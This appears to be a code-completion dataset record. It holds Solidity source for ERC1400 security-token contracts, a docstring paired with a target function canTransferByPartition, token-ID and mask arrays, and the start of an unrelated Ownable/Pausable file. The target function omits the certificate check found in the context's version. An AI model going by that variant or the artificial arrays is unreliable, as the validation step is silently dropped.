_partitionsOf[from][_partitionsOf[from].length - 1]; _partitionsOf[from].length--; break; } } } // If the total supply is zero, finds and deletes the partition. if(_totalSupplyByPartition[partition] == 0) { for (uint i = 0; i < _totalPartitions.length; i++) { if(_totalPartitions[i] == partition) { _totalPartitions[i] = _totalPartitions[_totalPartitions.length - 1]; delete _totalPartitions[_totalPartitions.length - 1]; _totalPartitions.length--; break; } } } } /** * [INTERNAL] * @dev Add a token to a specific partition. * @param to Token recipient. * @param partition Name of the partition. * @param value Number of tokens to transfer. */ function _addTokenToPartition(address to, bytes32 partition, uint256 value) internal { if(value != 0) { if(_balanceOfByPartition[to][partition] == 0) { _partitionsOf[to].push(partition); } _balanceOfByPartition[to][partition] = _balanceOfByPartition[to][partition].add(value); if(_totalSupplyByPartition[partition] == 0) { _totalPartitions.push(partition); } _totalSupplyByPartition[partition] = _totalSupplyByPartition[partition].add(value); } } /** * [INTERNAL] * @dev Retrieve the destination partition from the 'data' field. * By convention, a partition change is requested ONLY when 'data' starts * with the flag: 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff * When the flag is detected, the destination tranche is extracted from the * 32 bytes following the flag. * @param fromPartition Partition of the tokens to transfer. * @param data Information attached to the transfer. [CAN CONTAIN THE DESTINATION PARTITION] * @return Destination partition. */ function _getDestinationPartition(bytes32 fromPartition, bytes memory data) internal pure returns(bytes32 toPartition) { bytes32 changePartitionFlag = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; bytes32 flag; assembly { flag := mload(add(data, 32)) } if(flag == changePartitionFlag) { assembly { toPartition := mload(add(data, 64)) } } else { toPartition = fromPartition; } } /** * [INTERNAL] * @dev Get the sender's default partition if setup, or the global default partition if not. * @param tokenHolder Address for which the default partition is returned. * @return Default partition. */ function _getDefaultPartitions(address tokenHolder) internal view returns(bytes32[] memory) { if(_defaultPartitionsOf[tokenHolder].length != 0) { return _defaultPartitionsOf[tokenHolder]; } else { return _tokenDefaultPartitions; } } /********************* ERC1410 OPTIONAL FUNCTIONS ***************************/ /** * [NOT MANDATORY FOR ERC1410 STANDARD] * @dev Get list of existing partitions. * @return Array of all exisiting partitions. */ function totalPartitions() external view returns (bytes32[] memory) { return _totalPartitions; } /** * [NOT MANDATORY FOR ERC1410 STANDARD][SHALL BE CALLED ONLY FROM ERC1400] * @dev Set list of token partition controllers. * @param partition Name of the partition. * @param operators Controller addresses. */ function _setPartitionControllers(bytes32 partition, address[] memory operators) internal { for (uint i = 0; i<_controllersByPartition[partition].length; i++){ _isControllerByPartition[partition][_controllersByPartition[partition][i]] = false; } for (uint j = 0; j<operators.length; j++){ _isControllerByPartition[partition][operators[j]] = true; } _controllersByPartition[partition] = operators; } /************** ERC777 BACKWARDS RETROCOMPATIBILITY *************************/ /** * [NOT MANDATORY FOR ERC1410 STANDARD][OVERRIDES ERC777 METHOD] * @dev Transfer the value of tokens from the address 'msg.sender' to the address 'to'. * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the transfer, by the token holder. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] */ function transferWithData(address to, uint256 value, bytes calldata data) external isValidCertificate(data) { _transferByDefaultPartitions(msg.sender, msg.sender, to, value, data, ""); } /** * [NOT MANDATORY FOR ERC1410 STANDARD][OVERRIDES ERC777 METHOD] * @dev Transfer the value of tokens on behalf of the address from to the address to. * @param from Token holder (or 'address(0)'' to set from to 'msg.sender'). * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the transfer, and intended for the token holder ('from'). [CAN CONTAIN THE DESTINATION PARTITION] * @param operatorData Information attached to the transfer by the operator. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] */ function transferFromWithData(address from, address to, uint256 value, bytes calldata data, bytes calldata operatorData) external isValidCertificate(operatorData) { address _from = (from == address(0)) ? msg.sender : from; require(_isOperatorFor(msg.sender, _from), "A7: Transfer Blocked - Identity restriction"); _transferByDefaultPartitions(msg.sender, _from, to, value, data, operatorData); } /** * [NOT MANDATORY FOR ERC1410 STANDARD][OVERRIDES ERC777 METHOD] * @dev Empty function to erase ERC777 redeem() function since it doesn't handle partitions. */ function redeem(uint256 /*value*/, bytes calldata /*data*/) external { // Comments to avoid compilation warnings for unused variables. } /** * [NOT MANDATORY FOR ERC1410 STANDARD][OVERRIDES ERC777 METHOD] * @dev Empty function to erase ERC777 redeemFrom() function since it doesn't handle partitions. */ function redeemFrom(address /*from*/, uint256 /*value*/, bytes calldata /*data*/, bytes calldata /*operatorData*/) external { // Comments to avoid compilation warnings for unused variables. } /** * [NOT MANDATORY FOR ERC1410 STANDARD] * @dev Transfer tokens from default partitions. * @param operator The address performing the transfer. * @param from Token holder. * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the transfer, and intended for the token holder ('from') [CAN CONTAIN THE DESTINATION PARTITION]. * @param operatorData Information attached to the transfer by the operator (if any). */ function _transferByDefaultPartitions( address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData ) internal { bytes32[] memory _partitions = _getDefaultPartitions(from); require(_partitions.length != 0, "A8: Transfer Blocked - Token restriction"); uint256 _remainingValue = value; uint256 _localBalance; for (uint i = 0; i < _partitions.length; i++) { _localBalance = _balanceOfByPartition[from][_partitions[i]]; if(_remainingValue <= _localBalance) { _transferByPartition(_partitions[i], operator, from, to, _remainingValue, data, operatorData); _remainingValue = 0; break; } else { _transferByPartition(_partitions[i], operator, from, to, _localBalance, data, operatorData); _remainingValue = _remainingValue - _localBalance; } } require(_remainingValue == 0, "A8: Transfer Blocked - Token restriction"); } } /** * @title ERC1400 * @dev ERC1400 logic */ contract ERC1400 is IERC1400, ERC1410, MinterRole { struct Doc { string docURI; bytes32 docHash; } // Mapping for token URIs. mapping(bytes32 => Doc) internal _documents; // Indicate whether the token can still be issued by the issuer or not anymore. bool internal _isIssuable; /** * @dev Modifier to verify if token is issuable. */ modifier issuableToken() { require(_isIssuable, "A8, Transfer Blocked - Token restriction"); _; } /** * [ERC1400 CONSTRUCTOR] * @dev Initialize ERC1400 + register * the contract implementation in ERC820Registry. * @param name Name of the token. * @param symbol Symbol of the token. * @param granularity Granularity of the token. * @param controllers Array of initial controllers. * @param certificateSigner Address of the off-chain service which signs the * conditional ownership certificates required for token transfers, issuance, * redemption (Cf. CertificateController.sol). */ constructor( string memory name, string memory symbol, uint256 granularity, address[] memory controllers, address certificateSigner, bytes32[] memory tokenDefaultPartitions ) public ERC1410(name, symbol, granularity, controllers, certificateSigner, tokenDefaultPartitions) { setInterfaceImplementation("ERC1400Token", address(this)); _isControllable = true; _isIssuable = true; } /********************** ERC1400 EXTERNAL FUNCTIONS **************************/ /** * [ERC1400 INTERFACE (1/9)] * @dev Access a document associated with the token. * @param name Short name (represented as a bytes32) associated to the document. * @return Requested document + document hash. */ function getDocument(bytes32 name) external view returns (string memory, bytes32) { require(bytes(_documents[name].docURI).length != 0, "Action Blocked - Empty document"); return ( _documents[name].docURI, _documents[name].docHash ); } /** * [ERC1400 INTERFACE (2/9)] * @dev Associate a document with the token. * @param name Short name (represented as a bytes32) associated to the document. * @param uri Document content. * @param documentHash Hash of the document [optional parameter]. */ function setDocument(bytes32 name, string calldata uri, bytes32 documentHash) external onlyOwner { _documents[name] = Doc({ docURI: uri, docHash: documentHash }); emit Document(name, uri, documentHash); } /** * [ERC1400 INTERFACE (3/9)] * @dev Know if the token can be controlled by operators. * If a token returns 'false' for 'isControllable()'' then it MUST always return 'false' in the future. * @return bool 'true' if the token can still be controlled by operators, 'false' if it can't anymore. */ function isControllable() external view returns (bool) { return _isControllable; } /** * [ERC1400 INTERFACE (4/9)] * @dev Know if new tokens can be issued in the future. * @return bool 'true' if tokens can still be issued by the issuer, 'false' if they can't anymore. */ function isIssuable() external view returns (bool) { return _isIssuable; } /** * [ERC1400 INTERFACE (5/9)] * @dev Issue tokens from a specific partition. * @param partition Name of the partition. * @param tokenHolder Address for which we want to issue tokens. * @param value Number of tokens issued. * @param data Information attached to the issuance, by the issuer. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] */ function issueByPartition(bytes32 partition, address tokenHolder, uint256 value, bytes calldata data) external onlyMinter issuableToken isValidCertificate(data) { _issueByPartition(partition, msg.sender, tokenHolder, value, data, ""); } /** * [ERC1400 INTERFACE (6/9)] * @dev Redeem tokens of a specific partition. * @param partition Name of the partition. * @param value Number of tokens redeemed. * @param data Information attached to the redemption, by the redeemer. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] */ function redeemByPartition(bytes32 partition, uint256 value, bytes calldata data) external isValidCertificate(data) { _redeemByPartition(partition, msg.sender, msg.sender, value, data, ""); } /** * [ERC1400 INTERFACE (7/9)] * @dev Redeem tokens of a specific partition. * @param partition Name of the partition. * @param tokenHolder Address for which we want to redeem tokens. * @param value Number of tokens redeemed. * @param data Information attached to the redemption. * @param operatorData Information attached to the redemption, by the operator. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] */ function operatorRedeemByPartition(bytes32 partition, address tokenHolder, uint256 value, bytes calldata data, bytes calldata operatorData) external isValidCertificate(operatorData) { address _from = (tokenHolder == address(0)) ? msg.sender : tokenHolder; require(_isOperatorForPartition(partition, msg.sender, _from), "A7: Transfer Blocked - Identity restriction"); _redeemByPartition(partition, msg.sender, _from, value, data, operatorData); } /** * [ERC1400 INTERFACE (8/9)] * @dev Know the reason on success or failure based on the EIP-1066 application-specific status codes. * @param partition Name of the partition. * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the transfer, by the token holder. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] * @return ESC (Ethereum Status Code) following the EIP-1066 standard. * @return Additional bytes32 parameter that can be used to define * application specific reason codes with additional details (for example the * transfer restriction rule responsible for making the transfer operation invalid). * @return Destination partition. */ function canTransferByPartition(bytes32 partition, address to, uint256 value, bytes calldata data) external view returns (byte, bytes32, bytes32) { if(!_checkCertificate(data, 0, 0xf3d490db)) { // 4 first bytes of keccak256(transferByPartition(bytes32,address,uint256,bytes)) return(hex"A3", "", partition); // Transfer Blocked - Sender lockup period not ended } else { return _canTransfer(partition, msg.sender, msg.sender, to, value, data, ""); } } /** * [ERC1400 INTERFACE (9/9)] * @dev Know the reason on success or failure based on the EIP-1066 application-specific status codes. * @param partition Name of the partition. * @param from Token holder. * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the transfer. [CAN CONTAIN THE DESTINATION PARTITION] * @param operatorData Information attached to the transfer, by the operator. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] * @return ESC (Ethereum Status Code) following the EIP-1066 standard. * @return Additional bytes32 parameter that can be used to define * application specific reason codes with additional details (for example the * transfer restriction rule responsible for making the transfer operation invalid). * @return Destination partition. */ function canOperatorTransferByPartition(bytes32 partition, address from, address to, uint256 value, bytes calldata data, bytes calldata operatorData) external view returns (byte, bytes32, bytes32) { if(!_checkCertificate(operatorData, 0, 0x8c0dee9c)) { // 4 first bytes of keccak256(operatorTransferByPartition(bytes32,address,address,uint256,bytes,bytes)) return(hex"A3", "", partition); // Transfer Blocked - Sender lockup period not ended } else { address _from = (from == address(0)) ? msg.sender : from; return _canTransfer(partition, msg.sender, _from, to, value, data, operatorData); } } /********************** ERC1400 INTERNAL FUNCTIONS **************************/ /** * [INTERNAL] * @dev Know the reason on success or failure based on the EIP-1066 application-specific status codes. * @param partition Name of the partition. * @param operator The address performing the transfer. * @param from Token holder. * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the transfer. [CAN CONTAIN THE DESTINATION PARTITION] * @param operatorData Information attached to the transfer, by the operator (if any). * @return ESC (Ethereum Status Code) following the EIP-1066 standard. * @return Additional bytes32 parameter that can be used to define * application specific reason codes with additional details (for example the * transfer restriction rule responsible for making the transfer operation invalid). * @return Destination partition. */ function _canTransfer(bytes32 partition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData) internal view returns (byte, bytes32, bytes32) { if(!_isOperatorForPartition(partition, operator, from)) return(hex"A7", "", partition); // "Transfer Blocked - Identity restriction" if((_balances[from] < value) || (_balanceOfByPartition[from][partition] < value)) return(hex"A4", "", partition); // Transfer Blocked - Sender balance insufficient if(to == address(0)) return(hex"A6", "", partition); // Transfer Blocked - Receiver not eligible address senderImplementation; address recipientImplementation; senderImplementation = interfaceAddr(from, "ERC777TokensSender"); recipientImplementation = interfaceAddr(to, "ERC777TokensRecipient"); if((senderImplementation != address(0)) && !IERC777TokensSender(senderImplementation).canTransfer(partition, from, to, value, data, operatorData)) return(hex"A5", "", partition); // Transfer Blocked - Sender not eligible if((recipientImplementation != address(0)) && !IERC777TokensRecipient(recipientImplementation).canReceive(partition, from, to, value, data, operatorData)) return(hex"A6", "", partition); // Transfer Blocked - Receiver not eligible if(!_isMultiple(value)) return(hex"A9", "", partition); // Transfer Blocked - Token granularity return(hex"A2", "", partition); // Transfer Verified - Off-Chain approval for restricted token } /** * [INTERNAL] * @dev Issue tokens from a specific partition. * @param toPartition Name of the partition. * @param operator The address performing the issuance. * @param to Token recipient. * @param value Number of tokens to issue. * @param data Information attached to the issuance. * @param operatorData Information attached to the issuance, by the operator (if any). */ function _issueByPartition( bytes32 toPartition, address operator, address to, uint256 value, bytes memory data, bytes memory operatorData ) internal { _issue(toPartition, operator, to, value, data, operatorData); _addTokenToPartition(to, toPartition, value); emit IssuedByPartition(toPartition, operator, to, value, data, operatorData); } /** * [INTERNAL] * @dev Redeem tokens of a specific partition. * @param fromPartition Name of the partition. * @param operator The address performing the redemption. * @param from Token holder whose tokens will be redeemed. * @param value Number of tokens to redeem. * @param data Information attached to the redemption. * @param operatorData Information attached to the redemption, by the operator (if any). */ function _redeemByPartition( bytes32 fromPartition, address operator, address from, uint256 value, bytes memory data, bytes memory operatorData ) internal { require(_balanceOfByPartition[from][fromPartition] >= value, "A4: Transfer Blocked - Sender balance insufficient"); _removeTokenFromPartition(from, fromPartition, value); _redeem(fromPartition, operator, from, value, data, operatorData); emit RedeemedByPartition(fromPartition, operator, from, value, data, operatorData); } /********************** ERC1400 OPTIONAL FUNCTIONS **************************/ /** * [NOT MANDATORY FOR ERC1400 STANDARD] * @dev Definitely renounce the possibility to control tokens on behalf of tokenHolders. * Once set to false, '_isControllable' can never be set to 'true' again. */ function renounceControl() external onlyOwner { _isControllable = false; } /** * [NOT MANDATORY FOR ERC1400 STANDARD] * @dev Definitely renounce the possibility to issue new tokens. * Once set to false, '_isIssuable' can never be set to 'true' again. */ function renounceIssuance() external onlyOwner { _isIssuable = false; } /** * [NOT MANDATORY FOR ERC1400 STANDARD] * @dev Set list of token controllers. * @param operators Controller addresses. */ function setControllers(address[] calldata operators) external onlyOwner { _setControllers(operators); } /** * [NOT MANDATORY FOR ERC1400 STANDARD] * @dev Set list of token partition controllers. * @param partition Name of the partition. * @param operators Controller addresses. */ function setPartitionControllers(bytes32 partition, address[] calldata operators) external onlyOwner { _setPartitionControllers(partition, operators); } /** * @dev Add a certificate signer for the token. * @param operator Address to set as a certificate signer. * @param authorized 'true' if operator shall be accepted as certificate signer, 'false' if not. */ function setCertificateSigner(address operator, bool authorized) external onlyOwner { _setCertificateSigner(operator, authorized); } /************* ERC1410/ERC777 BACKWARDS RETROCOMPATIBILITY ******************/ /** * [NOT MANDATORY FOR ERC1400 STANDARD] * @dev Get token default partitions to send from. * Function used for ERC777 and ERC20 backwards compatibility. * For example, a security token may return the bytes32("unrestricted"). * @return Default partitions. */ function getTokenDefaultPartitions() external view returns (bytes32[] memory) { return _tokenDefaultPartitions; } /** * [NOT MANDATORY FOR ERC1400 STANDARD] * @dev Set token default partitions to send from. * Function used for ERC777 and ERC20 backwards compatibility. * @param defaultPartitions Partitions to use by default when not specified. */ function setTokenDefaultPartitions(bytes32[] calldata defaultPartitions) external onlyOwner { _tokenDefaultPartitions = defaultPartitions; } /** * [NOT MANDATORY FOR ERC1400 STANDARD][OVERRIDES ERC1410 METHOD] * @dev Redeem the value of tokens from the address 'msg.sender'. * @param value Number of tokens to redeem. * @param data Information attached to the redemption, by the token holder. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] */ function redeem(uint256 value, bytes calldata data) external isValidCertificate(data) { _redeemByDefaultPartitions(msg.sender, msg.sender, value, data, ""); } /** * [NOT MANDATORY FOR ERC1400 STANDARD][OVERRIDES ERC1410 METHOD] * @dev Redeem the value of tokens on behalf of the address 'from'. * @param from Token holder whose tokens will be redeemed (or 'address(0)' to set from to 'msg.sender'). * @param value Number of tokens to redeem. * @param data Information attached to the redemption. * @param operatorData Information attached to the redemption, by the operator. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] */ function redeemFrom(address from, uint256 value, bytes calldata data, bytes calldata operatorData) external isValidCertificate(operatorData) { address _from = (from == address(0)) ? msg.sender : from; require(_isOperatorFor(msg.sender, _from), "A7: Transfer Blocked - Identity restriction"); _redeemByDefaultPartitions(msg.sender, _from, value, data, operatorData); } /** * [NOT MANDATORY FOR ERC1410 STANDARD] * @dev Redeem tokens from a default partitions. * @param operator The address performing the redeem. * @param from Token holder. * @param value Number of tokens to redeem. * @param data Information attached to the redemption. * @param operatorData Information attached to the redemption, by the operator (if any). */ function _redeemByDefaultPartitions( address operator, address from, uint256 value, bytes memory data, bytes memory operatorData ) internal { bytes32[] memory _partitions = _getDefaultPartitions(from); require(_partitions.length != 0, "A8: Transfer Blocked - Token restriction"); uint256 _remainingValue = value; uint256 _localBalance; for (uint i = 0; i < _partitions.length; i++) { _localBalance = _balanceOfByPartition[from][_partitions[i]]; if(_remainingValue <= _localBalance) { _redeemByPartition(_partitions[i], operator, from, _remainingValue, data, operatorData); _remainingValue = 0; break; } else { _redeemByPartition(_partitions[i], operator, from, _localBalance, data, operatorData); _remainingValue = _remainingValue - _localBalance; } } require(_remainingValue == 0, "A8: Transfer Blocked - Token restriction"); } } /** * @title ERC1400ERC20 * @dev ERC1400 with ERC20 retrocompatibility */ contract ERC1400ERC20 is IERC20, ERC1400 { // Mapping from (tokenHolder, spender) to allowed value. mapping (address => mapping (address => uint256)) internal _allowed; // Mapping from (tokenHolder) to whitelisted status. mapping (address => bool) internal _whitelisted; /** * @dev Modifier to verify if sender and recipient are whitelisted. */ modifier isWhitelisted(address recipient) { require(_whitelisted[recipient], "A3: Transfer Blocked - Sender lockup period not ended"); _; } /** * [ERC1400ERC20 CONSTRUCTOR] * @dev Initialize ERC71400ERC20 and CertificateController parameters + register * the contract implementation in ERC820Registry. * @param name Name of the token. * @param symbol Symbol of the token. * @param granularity Granularity of the token. * @param controllers Array of initial controllers. * @param certificateSigner Address of the off-chain service which signs the * conditional ownership certificates required for token transfers, issuance, * redemption (Cf. CertificateController.sol). */ constructor( string memory name, string memory symbol, uint256 granularity, address[] memory controllers, address certificateSigner, bytes32[] memory tokenDefaultPartitions ) public ERC1400(name, symbol, granularity, controllers, certificateSigner, tokenDefaultPartitions) { setInterfaceImplementation("ERC20Token", address(this)); } /** * [OVERRIDES ERC1400 METHOD] * @dev Perform the transfer of tokens. * @param partition Name of the partition (bytes32 to be left empty for ERC777 transfer). * @param operator The address performing the transfer. * @param from Token holder. * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the transfer. * @param operatorData Information attached to the transfer by the operator (if any). * @param preventLocking 'true' if you want this function to throw when tokens are sent to a contract not * implementing 'erc777tokenHolder'. * ERC777 native transfer functions MUST set this parameter to 'true', and backwards compatible ERC20 transfer * functions SHOULD set this parameter to 'false'. */ function _transferWithData( bytes32 partition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData, bool preventLocking ) internal { ERC777._transferWithData(partition, operator, from, to, value, data, operatorData, preventLocking); emit Transfer(from, to, value); } /** * [OVERRIDES ERC1400 METHOD] * @dev Perform the token redemption. * @param partition Name of the partition (bytes32 to be left empty for ERC777 transfer). * @param operator The address performing the redemption. * @param from Token holder whose tokens will be redeemed. * @param value Number of tokens to redeem. * @param data Information attached to the redemption. * @param operatorData Information attached to the redemption by the operator (if any). */ function _redeem(bytes32 partition, address operator, address from, uint256 value, bytes memory data, bytes memory operatorData) internal { ERC777._redeem(partition, operator, from, value, data, operatorData); emit Transfer(from, address(0), value); // ERC20 backwards compatibility } /** * [OVERRIDES ERC1400 METHOD] * @dev Perform the issuance of tokens. * @param partition Name of the partition (bytes32 to be left empty for ERC777 transfer). * @param operator Address which triggered the issuance. * @param to Token recipient. * @param value Number of tokens issued. * @param data Information attached to the issuance. * @param operatorData Information attached to the issuance by the operator (if any). */ function _issue(bytes32 partition, address operator, address to, uint256 value, bytes memory data, bytes memory operatorData) internal { ERC777._issue(partition, operator, to, value, data, operatorData); emit Transfer(address(0), to, value); // ERC20 backwards compatibility } /** * [OVERRIDES ERC1400 METHOD] * @dev Get the number of decimals of the token. * @return The number of decimals of the token. For Backwards compatibility, decimals are forced to 18 in ERC777. */ function decimals() external pure returns(uint8) { return uint8(18); } /** * [NOT MANDATORY FOR ERC1400 STANDARD] * @dev Check the value of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the value of tokens still available for the spender. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowed[owner][spender]; } /** * [NOT MANDATORY FOR ERC1400 STANDARD] * @dev Approve the passed address to spend the specified amount of tokens on behalf of 'msg.sender'. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. * @return A boolean that indicates if the operation was successful. */ function approve(address spender, uint256 value) external returns (bool) { require(spender != address(0), "A5: Transfer Blocked - Sender not eligible"); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * [NOT MANDATORY FOR ERC1400 STANDARD] * @dev Transfer token for a specified address. * @param to The address to transfer to. * @param value The value to be transferred. * @return A boolean that indicates if the operation was successful. */ function transfer(address to, uint256 value) external isWhitelisted(to) returns (bool) { _transferByDefaultPartitions(msg.sender, msg.sender, to, value, "", ""); return true; } /** * [NOT MANDATORY FOR ERC1400 STANDARD] * @dev Transfer tokens from one address to another. * @param from The address which you want to transfer tokens from. * @param to The address which you want to transfer to. * @param value The amount of tokens to be transferred. * @return A boolean that indicates if the operation was successful. */ function transferFrom(address from, address to, uint256 value) external isWhitelisted(to) returns (bool) { address _from = (from == address(0)) ? msg.sender : from; require( _isOperatorFor(msg.sender, _from) || (value <= _allowed[_from][msg.sender]), "A7: Transfer Blocked - Identity restriction"); if(_allowed[_from][msg.sender] >= value) { _allowed[_from][msg.sender] = _allowed[_from][msg.sender].sub(value); } else { _allowed[_from][msg.sender] = 0; } _transferByDefaultPartitions(msg.sender, _from, to, value, "", ""); return true; } /***************** ERC1400ERC20 OPTIONAL FUNCTIONS ***************************/ /** * [NOT MANDATORY FOR ERC1400ERC20 STANDARD] * @dev Get whitelisted status for a tokenHolder. * @param tokenHolder Address whom to check the whitelisted status for. * @return bool 'true' if tokenHolder is whitelisted, 'false' if not. */ function whitelisted(address tokenHolder) external view returns (bool) { return _whitelisted[tokenHolder]; } /** * [NOT MANDATORY FOR ERC1400ERC20 STANDARD] * @dev Set whitelisted status for a tokenHolder. * @param tokenHolder Address to add/remove from whitelist. * @param authorized 'true' if tokenHolder shall be added to whitelist, 'false' if not. */ function setWhitelisted(address tokenHolder, bool authorized) external onlyOwner { _setWhitelisted(tokenHolder, authorized); } /** * [NOT MANDATORY FOR ERC1400ERC20 STANDARD] * @dev Set whitelisted status for a tokenHolder. * @param tokenHolder Address to add/remove from whitelist. * @param authorized 'true' if tokenHolder shall be added to whitelist, 'false' if not. */ function _setWhitelisted(address tokenHolder, bool authorized) internal { require(tokenHolder != address(0), "Action Blocked - Not a valid address"); _whitelisted[tokenHolder] = authorized; } }
* [ERC1400 INTERFACE (8/9)] @dev Know the reason on success or failure based on the EIP-1066 application-specific status codes. @param partition Name of the partition. @param to Token recipient. @param value Number of tokens to transfer. @param data Information attached to the transfer, by the token holder. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] @return ESC (Ethereum Status Code) following the EIP-1066 standard. @return Additional bytes32 parameter that can be used to define application specific reason codes with additional details (for example the transfer restriction rule responsible for making the transfer operation invalid). @return Destination partition./
function canTransferByPartition(bytes32 partition, address to, uint256 value, bytes calldata data) external view returns (byte, bytes32, bytes32) { return _canTransfer(partition, msg.sender, msg.sender, to, value, data, ""); }
2,563,795
[ 1, 63, 654, 39, 3461, 713, 11391, 11300, 261, 28, 19, 29, 25887, 225, 1475, 3338, 326, 3971, 603, 2216, 578, 5166, 2511, 603, 326, 512, 2579, 17, 2163, 6028, 2521, 17, 12524, 1267, 6198, 18, 225, 3590, 1770, 434, 326, 3590, 18, 225, 358, 3155, 8027, 18, 225, 460, 3588, 434, 2430, 358, 7412, 18, 225, 501, 15353, 7495, 358, 326, 7412, 16, 635, 326, 1147, 10438, 18, 306, 6067, 25838, 12786, 3492, 18575, 1013, 531, 22527, 20101, 25423, 26649, 65, 327, 512, 2312, 261, 41, 18664, 379, 2685, 3356, 13, 3751, 326, 512, 2579, 17, 2163, 6028, 4529, 18, 327, 15119, 1731, 1578, 1569, 716, 848, 506, 1399, 358, 4426, 2521, 2923, 3971, 6198, 598, 3312, 3189, 261, 1884, 3454, 326, 7412, 9318, 1720, 14549, 364, 10480, 326, 7412, 1674, 2057, 2934, 327, 10691, 3590, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 848, 5912, 858, 7003, 12, 3890, 1578, 3590, 16, 1758, 358, 16, 2254, 5034, 460, 16, 1731, 745, 892, 501, 13, 203, 565, 3903, 203, 565, 1476, 203, 565, 1135, 261, 7229, 16, 1731, 1578, 16, 1731, 1578, 13, 203, 225, 288, 203, 1377, 327, 389, 4169, 5912, 12, 10534, 16, 1234, 18, 15330, 16, 1234, 18, 15330, 16, 358, 16, 460, 16, 501, 16, 1408, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; // File: Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: SafeMath.sol /** * @title SafeMath * @dev Math 